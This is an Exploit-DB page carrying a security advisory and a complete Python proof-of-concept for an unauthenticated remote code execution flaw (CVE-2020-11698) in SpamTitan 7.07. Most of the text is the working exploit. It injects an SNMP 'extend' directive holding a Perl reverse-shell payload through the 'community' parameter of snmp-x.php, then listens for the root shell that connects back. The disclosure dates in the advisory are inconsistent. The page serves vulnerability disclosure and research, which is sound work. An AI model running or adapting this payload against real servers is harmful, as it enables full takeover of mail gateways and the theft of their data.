SpamTitan 7.07 – Unauthenticated Remote Code Execution

  • 作者: Felipe Molina
    日期: 2020-10-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48856/
  • # Exploit Title: SpamTitan 7.07 - Unauthenticated Remote Code Execution
    # Date: 2020-09-18
    # Exploit Author: Felipe Molina (@felmoltor)
    # Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/
    # Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway
    # Version: 7.07
    # Tested on: FreeBSD
    # CVE : CVE-2020-11698
    
    ---[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in
    snmp-x.php]------------------------------
    
    SECURITY ADVISORY: SPUK-2020-09/SpamTitan Unauthenticated Remote
    Code Execution in snmp-x.php
    Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions)
    Vulnerability: Unauthenticated Remote Code Execution
    CVSSv3:10.0
    (https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
    Severity:Critical
    Release Date:2020-04-17
    CVE: CVE-2020-11698
    
    I. Background
    ~~~~~~~~~~~~~
    
    From www.spamtitan.com:
    
    "SpamTitan Gateway is a powerful Anti-Spam appliance that equips network
    administrators with extensive tools to control mail flow and protect against
    unwanted email and malware."
    
    II. Description
    ~~~~~~~~~~~~~~~
    Improper input sanitization of the parameter "community" on the page
    snmp-x.php would allow a remote attacker to inject command directives into the
    file snmpd.conf. This would allow executing commands on the target server by
    by injecting an "extend" or "exec" SNMPD directive and querying the snmp daemon
    of the server for the correct OID.
    
    III. PoC
    ~~~~~~~~
    
    Use python 3 and install the following modules: requests, pysnmp.
    If your IP is 192.168.1.5 and the target SpamTitan server is
    spamtitan.example.com, call the PoC like this:
    ./poc.py -t spamtitan.example.com -i 192.168.1.5
    
    ---------------------------------------------
    
    #!/usr/bin/env python
    
    # Author: Felipe Molina (@felmoltor)
    # Date: 09/04/2020
    # Python Version: 3.7
    # Summary: This is PoC for an unauthenticated RCE 0day on SpamTitan
    7.07 and previous versions.
    # The script abuses of two weaknesses on the product:
    # 1. Unauthenticated interaction with snmp-x.php script
    # 2. Injection of snmpd.conf configuration directives in multiple POST
    parameters such as "community" or "user_username" of snmp-x.php
    # Product URL: https://www.spamtitan.com/
    # Product Version: 7.07 and probably previous
    
    import requests
    requests.packages.urllib3.disable_warnings()
    import os
    import threading
    from optparse import OptionParser
    import socket
    import json
    from pysnmp.hlapi import *
    from urllib.parse import urlparse
    from time import sleep
    
    SNMPGETDELAY=5
    
    def parseoptions():
    parser = OptionParser()
    parser.add_option("-t", "--target", dest="target",
    help="Target SpamTitan URL to attack. E.g.:
    https://spamtitan.com/", default=None)
    parser.add_option("-i", "--ip", dest="ip",
    help="Local IP where to listen for the reverse
    shell. Default: %s" % myip(), default=myip())
    parser.add_option("-p", "--port", dest="port",
    help="Local Port where to listen for the reverse
    shell. Default: 4242", default=4242)
    parser.add_option("-q", "--quiet",
    action="store_true", dest="quiet", default=False,
    help="Shut up script! Just give me the shell.")
    
    return parser.parse_args()
    
    def printmsg(msg,quiet=False,msgtype="i"):
    if (not quiet):
    if (success):
    print("[%s] %s" % (msgtype,msg))
    else:
    print("[-] %s" % msg)
    
    def info(msg,quiet=False):
    printmsg(msg,quiet,msgtype="i")
    
    def success(msg,quiet=False):
    printmsg(msg,quiet,msgtype="+")
    
    def fail(msg,quiet=False):
    printmsg(msg,quiet,msgtype="-")
    
    def myip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
    # doesn't even have to be reachable
    s.connect(('10.255.255.255', 1))
    IP = s.getsockname()[0]
    except:
    IP = '127.0.0.1'
    finally:
    s.close()
    return IP
    
    
    def shellServer(ip,port,quiet):
    servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servers.bind((ip, port))
    servers.listen(1)
    info("Waiting for incoming connection on %s:%s" % (ip,port))
    conn, addr = servers.accept()
    conn.settimeout(1)
    success("Hurray, we got a connection from %s" % addr[0])
    
    prompt =conn.recv(128)
    prompt=str(prompt.decode("utf-8")).strip()
    command = input(prompt)
    
    while True:
    try:
    c = "%s\n" % (command)
    if (len(c)>0):
    conn.sendall(c.encode("utf-8"))
    # Quit the console
    if command == 'exit':
    info("\nClosing connection")
    conn.close()
    break
    else:
    completeanswer=""
    while True:
    answer=None
    try:
    answer=str((conn.recv(1024)).decode("utf-8"))
    completeanswer+=answer
    except socket.timeout:
    completeanswer.strip()
    break
    print(completeanswer,end='')
    command = input("")
    except (KeyboardInterrupt, EOFError):
    info("\nClosing connection")
    break
    
    def triggerSNMPShell(target, community, triggeroid, port, quiet):
    if (not quiet):
    print("Waiting %s seconds to allow the main thread set-up the
    shell listener." % SNMPGETDELAY)
    # Give the parent thread a few seconds to set up the shell
    listener before triggering the SNMP get query
    sleep(SNMPGETDELAY)
    if (not quiet):
    print("Querying the SNMP server to launch the shell.")
    targetp = urlparse(target)
    errorIndication, errorStatus, errorIndex, varBinds = next(
    getCmd(SnmpEngine(),
     CommunityData(community, mpModel=0),
     UdpTransportTarget((targetp.netloc, port)),
     ContextData(),
     ObjectType(ObjectIdentity(triggeroid)))
    )
    if errorIndication:
    print("SNMP error: %s" % errorIndication)
    elif errorStatus:
    print('SNMP error status: %s at %s' % (errorStatus.prettyPrint(),
    errorIndex and varBinds[int(errorIndex) -
    1][0] or '?'))
    
    def main():
    (options,arguments) = parseoptions()
    q = options.quiet
    t = options.target
    i = options.ip
    p = options.port
    community="dummy"
    
    if (t is None):
    print("[-] Error. Specify a target (-t).")
    exit()
    
    if ((not "http://" in t) and (not "https://" in t)):
    t = "http://%s/snmp-x.php" % t
    else:
    t = "%s/snmp-x.php" % t
    
    if (not q):
    print("[+] Attacking: %s.\nReceiving shell in %s:%s" % (t,i,p))
    
    TARGETOID=".1.3.6.1.4.1.8072.1.3.2.3.1.1.8.114.101.118.115.104.101.108.108"
    # PAYLOAD="extend revshell /usr/bin/perl -e 'use
    Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh
    -i\");};'" % (i,p)
    PAYLOAD="extend revshell /usr/bin/perl -e 'use
    Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh
    -i\");};'" % (i,p)
    TOGGLESNMP={
    "jaction":"toggleSNMP",
    "newval":"1"
    }
    INJECTION={
    "jaction":"saveAll",
    "contact":"CONTACT",
    "name":"SpamTitan",
    "location":"LOCATION",
    # Add our IP as allowed to query the injected "dummy" community
    # Add also the perl payload in a new line (%0a) of the snmpd.conf file
    "community":'%s" %s\n%s # ' % (community,i,PAYLOAD)
    }
    
    rev_thread = threading.Thread(target=triggerSNMPShell, args=(t,
    community, TARGETOID, 161,q))
    rev_thread.start()
    
    # Start a thread to listen for incoming reverse shells:
    if (not q):
    print("[+] Launching a reverse shell listener to wait for the shell.")
    
    # Send the SNMP request to add a community and append an "extend"
    command to execute scripts
    # SpamTitan would add a new line in the snmpd.conf file with the
    new community name and the "extend" script
    inj_res = requests.post(t,INJECTION,verify=False)
    if (inj_res.status_code == 200):
    if (not q):
    print("Spawning a reverse shell listener. Wait for it...")
    shellServer(options.ip,int(options.port),options.quiet)
    else:
    print("Error. The target is probably not vulnerable (returned
    a %s code)." % inj_res.status_code)
    
    main()
    
    ---------------------------------------------
    
    III. Impact
    ~~~~~~~~~~~
    
    The snmpd daemon is running as root in the target server. The
    pressented PoC would return a root shell without need of any
    registered user in the target server. There is total loss of
    confidentiality, integrity and availability on the SpamTitan server.
    
    IV. Disclosure
    ~~~~~~~~~~~~~~
    
    Reported By: Felipe Molina de la Torre
    
    Vendor Informed:2020-04-17
    Patch Release Date: 2020-05-26
    Advisory Release Date:2019-09-18
    
    V. References
    ~~~~~~~~~~~~~
    * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11698
    * https://sensepost.com/blog/2020/clash-of-the-spamtitan/
    
    ---------------------------------[SPUK-2020-09/SpamTitan
    Unauthenticated Remote Code Execution in snmp-x.php]---